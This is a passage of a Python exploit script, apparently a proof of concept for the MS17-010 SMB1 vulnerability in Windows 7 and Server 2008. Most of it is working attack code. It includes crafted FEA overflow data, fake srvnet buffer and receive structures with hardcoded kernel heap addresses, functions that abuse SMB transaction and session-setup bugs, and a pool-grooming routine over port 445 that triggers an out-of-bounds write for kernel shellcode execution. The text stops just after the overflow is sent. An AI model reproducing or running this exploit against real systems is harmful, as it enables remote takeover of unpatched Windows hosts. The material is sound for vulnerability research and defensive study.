|
srvnet buffer info:
|
||||||
|
- srvnet buffer contains a pointer to another struct and MDL about received buffer
|
||||||
|
- Controlling MDL values results in arbitrary write
|
||||||
|
- Controlling pointer to fake struct results in code execution because there is pointer to function
|
||||||
|
- A srvnet buffer is created after target receiving first 4 bytes
|
||||||
|
- First 4 bytes contains length of SMB message
|
||||||
|
- The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
|
||||||
|
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
|
||||||
|
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
|
||||||
|
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
|
||||||
|
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
|
||||||
|
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
|
||||||
|
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
|
||||||
|
- Memory leak is ok to be ignored
|
||||||
|
|
||||||
|
|
||||||
|
Shellcode note:
|
||||||
|
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
|
||||||
|
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
|
||||||
|
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
|
||||||
|
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
|
||||||
|
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
|
||||||
|
get call because it is called on other processors
|
||||||
|
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method
|
||||||
|
- Then, using APC in Process context to get code execution in userland (ring 3)
|
||||||
|
'''
|
||||||
|
|
||||||
|
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
|
||||||
|
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
|
||||||
|
# the size 0x11000 is used in nsa exploit. this size is more reliable.
|
||||||
|
NTFEA_SIZE = 0x11000
|
||||||
|
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
|
||||||
|
|
||||||
|
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
|
||||||
|
|
||||||
|
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
|
||||||
|
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
|
||||||
|
|
||||||
|
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
|
||||||
|
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
|
||||||
|
|
||||||
|
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
|
||||||
|
|
||||||
|
'''
|
||||||
|
Reverse from srvnet.sys (Win7 x64)
|
||||||
|
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
|
||||||
|
|
||||||
|
// for x64
|
||||||
|
struct SRVNET_BUFFER {
|
||||||
|
// offset from POOLHDR: 0x10
|
||||||
|
USHORT flag;
|
||||||
|
char pad[2];
|
||||||
|
char unknown0[12];
|
||||||
|
// offset from SRVNET_POOLHDR: 0x20
|
||||||
|
LIST_ENTRY list;
|
||||||
|
// offset from SRVNET_POOLHDR: 0x30
|
||||||
|
char *pnetBuffer;
|
||||||
|
DWORD netbufSize; // size of netBuffer
|
||||||
|
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
|
||||||
|
// offset from SRVNET_POOLHDR: 0x40
|
||||||
|
MDL *pMdl1; // at offset 0x70
|
||||||
|
DWORD nByteProcessed;
|
||||||
|
DWORD pad3;
|
||||||
|
// offset from SRVNET_POOLHDR: 0x50
|
||||||
|
DWORD nbssSize; // size of this smb packet (from user)
|
||||||
|
DWORD pad4;
|
||||||
|
QWORD pSrvNetWskStruct; // want to change to fake struct address
|
||||||
|
// offset from SRVNET_POOLHDR: 0x60
|
||||||
|
MDL *pMdl2;
|
||||||
|
QWORD unknown5;
|
||||||
|
// offset from SRVNET_POOLHDR: 0x70
|
||||||
|
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
|
||||||
|
// MDL mdl2;
|
||||||
|
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
|
||||||
|
// char netBuffer[0];
|
||||||
|
};
|
||||||
|
|
||||||
|
struct SRVNET_POOLHDR {
|
||||||
|
DWORD size;
|
||||||
|
char unknown[12];
|
||||||
|
SRVNET_BUFFER hdr;
|
||||||
|
};
|
||||||
|
'''
|
||||||
|
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
|
||||||
|
# Here is the important fields on x64
|
||||||
|
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
|
||||||
|
# The value MUST point to valid (might be fake) struct.
|
||||||
|
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
|
||||||
|
# - 0x70 (VOID*) : MDL.Next should be NULL
|
||||||
|
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
|
||||||
|
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
|
||||||
|
# - 0x80 (VOID*) : MDL.Process should be NULL
|
||||||
|
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
|
||||||
|
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
|
||||||
|
#
|
||||||
|
#
|
||||||
|
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
|
||||||
|
# Here is related field for freeing corrupted buffer
|
||||||
|
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
|
||||||
|
# a corrupted buffer MUST not be reused.
|
||||||
|
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
|
||||||
|
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
|
||||||
|
# your shellcode as function argument
|
||||||
|
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
|
||||||
|
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
|
||||||
|
# Here is x64 assembly code for setting nByteProcessed field
|
||||||
|
# - fetch SRVNET_BUFFER address from function argument
|
||||||
|
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
|
||||||
|
# - set nByteProcessed for trigger free after return
|
||||||
|
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
|
||||||
|
# \x89\x4a\x38 mov [rdx+0x38], ecx
|
||||||
|
|
||||||
|
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
|
||||||
|
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
|
||||||
|
|
||||||
|
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
|
||||||
|
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
|
||||||
|
fakeSrvNetBufferNsa += '\x00'*16
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
|
||||||
|
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
|
||||||
|
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
|
||||||
|
# below 0x20 bytes is overwritting MDL
|
||||||
|
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
|
||||||
|
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
|
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
|
||||||
|
# below is for targeting x64 only (all x86 related values are set to 0)
|
||||||
|
# this is for show what fields need to be modified
|
||||||
|
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
|
||||||
|
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16
|
||||||
|
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
|
||||||
|
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
|
||||||
|
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||||
|
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||||
|
|
||||||
|
|
||||||
|
fakeSrvNetBuffer = fakeSrvNetBufferNsa
|
||||||
|
#fakeSrvNetBuffer = fakeSrvNetBufferX64
|
||||||
|
|
||||||
|
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
|
||||||
|
feaList += ntfea[NTFEA_SIZE]
|
||||||
|
# Note:
|
||||||
|
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
|
||||||
|
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
|
||||||
|
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
|
||||||
|
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
|
||||||
|
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||||
|
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||||
|
|
||||||
|
|
||||||
|
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
|
||||||
|
# x64: fake struct is at ffffffff ffd00010
|
||||||
|
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
|
||||||
|
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
|
||||||
|
# offset 0x1d0: KSPIN_LOCK
|
||||||
|
# offset 0x1d8: array of pointer to function
|
||||||
|
#
|
||||||
|
# code path to get code exection after this struct is controlled
|
||||||
|
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||||
|
fake_recv_struct = pack('<QII', 0, 3, 0)
|
||||||
|
fake_recv_struct += '\x00'*16
|
||||||
|
fake_recv_struct += pack('<QII', 0, 3, 0)
|
||||||
|
fake_recv_struct += ('\x00'*16)*7
|
||||||
|
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
|
||||||
|
fake_recv_struct += '\x00'*16
|
||||||
|
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
|
||||||
|
fake_recv_struct += ('\x00'*16)*11
|
||||||
|
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
|
||||||
|
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
|
||||||
|
fake_recv_struct += ('\x00'*16)*3
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
|
||||||
|
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
|
||||||
|
|
||||||
|
|
||||||
|
def getNTStatus(self):
|
||||||
|
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||||
|
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||||
|
|
||||||
|
def sendEcho(conn, tid, data):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||||
|
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||||
|
transCommand['Data'] = smb.SMBEcho_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['EchoCount'] = 1
|
||||||
|
transCommand['Data']['Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('got good ECHO response')
|
||||||
|
else:
|
||||||
|
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
|
||||||
|
|
||||||
|
def createSessionAllocNonPaged(target, size):
|
||||||
|
# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
|
||||||
|
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
|
||||||
|
# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
|
||||||
|
|
||||||
|
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
|
||||||
|
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
|
||||||
|
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
|
||||||
|
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format
|
||||||
|
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
|
||||||
|
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
|
||||||
|
|
||||||
|
# These 2 formats have different WordCount (first one is 13 and later is 12).
|
||||||
|
# Here is logic in BlockingSessionSetupAndX() related to this bug
|
||||||
|
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
|
||||||
|
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
|
||||||
|
# - else, process a message as NT Security request
|
||||||
|
|
||||||
|
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
|
||||||
|
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
|
||||||
|
# But GetExtendSecurityParameters() checks ByteCount value again.
|
||||||
|
|
||||||
|
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
|
||||||
|
|
||||||
|
conn = smb.SMB(target, target)
|
||||||
|
_, flags2 = conn.get_flags()
|
||||||
|
# FLAGS2_EXTENDED_SECURITY MUST not be set
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||||
|
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||||
|
if size >= 0xffff:
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size // 2
|
||||||
|
else:
|
||||||
|
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||||
|
reqSize = size
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
|
||||||
|
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||||
|
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
|
||||||
|
|
||||||
|
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
|
||||||
|
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||||
|
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
|
||||||
|
sessionSetup['Parameters']['SessionKey'] = 0
|
||||||
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
|
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
|
||||||
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
|
||||||
|
|
||||||
|
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool success')
|
||||||
|
else:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool failed')
|
||||||
|
return conn
|
||||||
|
|
||||||
|
|
||||||
|
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||||
|
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||||
|
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('TotalParameterCount','<H=0'),
|
||||||
|
('TotalDataCount','<H'),
|
||||||
|
('ParameterCount','<H=0'),
|
||||||
|
('ParameterOffset','<H=0'),
|
||||||
|
('ParameterDisplacement','<H=0'),
|
||||||
|
('DataCount','<H'),
|
||||||
|
('DataOffset','<H'),
|
||||||
|
('DataDisplacement','<H=0'),
|
||||||
|
('FID','<H=0'),
|
||||||
|
)
|
||||||
|
|
||||||
|
def send_trans2_second(conn, tid, data, displacement):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
# assume no params
|
||||||
|
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||||
|
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
|
||||||
|
fixedOffset = 32+3+18
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
|
||||||
|
transCommand['Parameters']['ParameterCount'] = 0
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = 0
|
||||||
|
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - fixedOffset % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['DataCount'] = len(data)
|
||||||
|
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
|
||||||
|
transCommand['Parameters']['DataDisplacement'] = displacement
|
||||||
|
|
||||||
|
transCommand['Data']['Trans_Parameters'] = ''
|
||||||
|
transCommand['Data']['Trans_Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
|
||||||
|
|
||||||
|
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
|
||||||
|
# Here is another bug in MS17-010.
|
||||||
|
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
|
||||||
|
# https://msdn.microsoft.com/en-us/library/ee441514.aspx
|
||||||
|
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
|
||||||
|
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with
|
||||||
|
# *_SECONDARY command, a server uses the last command that complete the transaction.
|
||||||
|
# For example:
|
||||||
|
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
|
||||||
|
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
|
||||||
|
#
|
||||||
|
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
|
||||||
|
# For example:
|
||||||
|
# - a client start transaction with SMB_COM_NT_TRANSACT command
|
||||||
|
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
|
||||||
|
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
|
||||||
|
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
|
||||||
|
|
||||||
|
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
|
||||||
|
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
|
||||||
|
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
|
||||||
|
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
|
||||||
|
# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = tid
|
||||||
|
|
||||||
|
command = pack('<H', setup)
|
||||||
|
|
||||||
|
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||||
|
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||||
|
transCommand['Parameters']['MaxSetupCount'] = 1
|
||||||
|
transCommand['Parameters']['MaxParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['MaxDataCount'] = 0
|
||||||
|
transCommand['Data'] = smb.SMBTransaction2_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['Setup'] = command
|
||||||
|
transCommand['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
|
||||||
|
fixedOffset = 32+3+38 + len(command)
|
||||||
|
if len(param) > 0:
|
||||||
|
padLen = (4 - fixedOffset % 4 ) % 4
|
||||||
|
padBytes = '\xFF' * padLen
|
||||||
|
transCommand['Data']['Pad1'] = padBytes
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad1'] = ''
|
||||||
|
padLen = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
|
||||||
|
|
||||||
|
if len(data) > 0:
|
||||||
|
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
|
||||||
|
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||||
|
else:
|
||||||
|
transCommand['Data']['Pad2'] = ''
|
||||||
|
pad2Len = 0
|
||||||
|
|
||||||
|
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
|
||||||
|
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
|
||||||
|
|
||||||
|
transCommand['Data']['Trans_Parameters'] = param
|
||||||
|
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
conn.recvSMB() # must be success
|
||||||
|
|
||||||
|
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
|
||||||
|
i = firstDataFragmentSize
|
||||||
|
while i < len(data):
|
||||||
|
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
|
||||||
|
sendSize = min(4096, len(data) - i)
|
||||||
|
if len(data) - i <= 4096:
|
||||||
|
if not sendLastChunk:
|
||||||
|
break
|
||||||
|
send_trans2_second(conn, tid, data[i:i+sendSize], i)
|
||||||
|
i += sendSize
|
||||||
|
|
||||||
|
if sendLastChunk:
|
||||||
|
conn.recvSMB()
|
||||||
|
return i
|
||||||
|
|
||||||
|
|
||||||
|
# connect to target and send a large nbss size with data 0x80 bytes
|
||||||
|
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
|
||||||
|
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
|
||||||
|
def createConnectionWithBigSMBFirst80(target):
|
||||||
|
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
|
||||||
|
# Above link is about SMB2, but the important here is first 4 bytes.
|
||||||
|
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
|
||||||
|
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
|
||||||
|
#
|
||||||
|
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
|
||||||
|
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
|
||||||
|
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
|
||||||
|
sk = socket.create_connection((target, 445))
|
||||||
|
# For this exploit, use size is 0x11000
|
||||||
|
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
|
||||||
|
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
|
||||||
|
# Also this is invalid SMB2 message.
|
||||||
|
# I believe NSA exploit use SMB2 for hiding alert from IDS
|
||||||
|
#pkt += '\xfeSMB' # smb2
|
||||||
|
# it can be anything even it is invalid
|
||||||
|
pkt += 'BAAD' # can be any
|
||||||
|
pkt += '\x00'*0x7c
|
||||||
|
sk.send(pkt)
|
||||||
|
return sk
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target, shellcode, numGroomConn):
|
||||||
|
# force using smb.SMB for SMB1
|
||||||
|
conn = smb.SMB(target, target)
|
||||||
|
|
||||||
|
# can use conn.login() for ntlmv2
|
||||||
|
conn.login_standard('', '')
|
||||||
|
server_os = conn.get_server_os()
|
||||||
|
print('Target OS: '+server_os)
|
||||||
|
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os)):
|
||||||
|
print('This exploit does not support this target')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
|
||||||
|
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
|
||||||
|
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
|
||||||
|
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
|
||||||
|
# we have to know what size of NtFeaList will be created when last fragment is sent
|
||||||
|
|
||||||
|
# make sure server recv all payload before starting allocate big NonPaged
|
||||||
|
#sendEcho(conn, tid, 'a'*12)
|
||||||
|
|
||||||
|
# create buffer size NTFEA_SIZE-0x1000 at server
|
||||||
|
# this buffer MUST NOT be big enough for overflown buffer
|
||||||
|
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
|
||||||
|
|
||||||
|
# groom nonpaged pool
|
||||||
|
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
|
||||||
|
srvnetConn = []
|
||||||
|
for i in range(numGroomConn):
|
||||||
|
sk = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
# create buffer size NTFEA_SIZE at server
|
||||||
|
# this buffer will be replaced by overflown buffer
|
||||||
|
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
|
||||||
|
# disconnect allocConn to free buffer
|
||||||
|
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
|
||||||
|
allocConn.get_socket().close()
|
||||||
|
|
||||||
|
# hope one of srvnetConn is next to holeConn
|
||||||
|
for i in range(5):
|
||||||
|
sk = createConnectionWithBigSMBFirst80(target)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
# send echo again, all new 5 srvnet buffers should be created
|
||||||
|
#sendEcho(conn, tid, 'a'*12)
|
||||||
|
|
||||||
|
# remove holeConn to create hole for fea buffer
|
||||||
|
holeConn.get_socket().close()
|
||||||
|
|
||||||
|
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||||
|
send_trans2_second(conn, tid, feaList[progress:], progress)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
retStatus = recvPkt.getNTStatus()
|
||||||
|
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
|
||||||
|
if retStatus == 0xc000000d:
|
||||||
|
print('good response status: INVALID_PARAMETER')
|
||||||
|
else:
|
||||||
|
print('bad response status: 0x{:08x}'.format(retStatus))
|
||||||
|
|
||||||
|
|
||||||
|
# one of srvnetConn struct header should be modified
|
||||||
|
# a corrupted buffer will write recv data in designed memory address
|
||||||
|
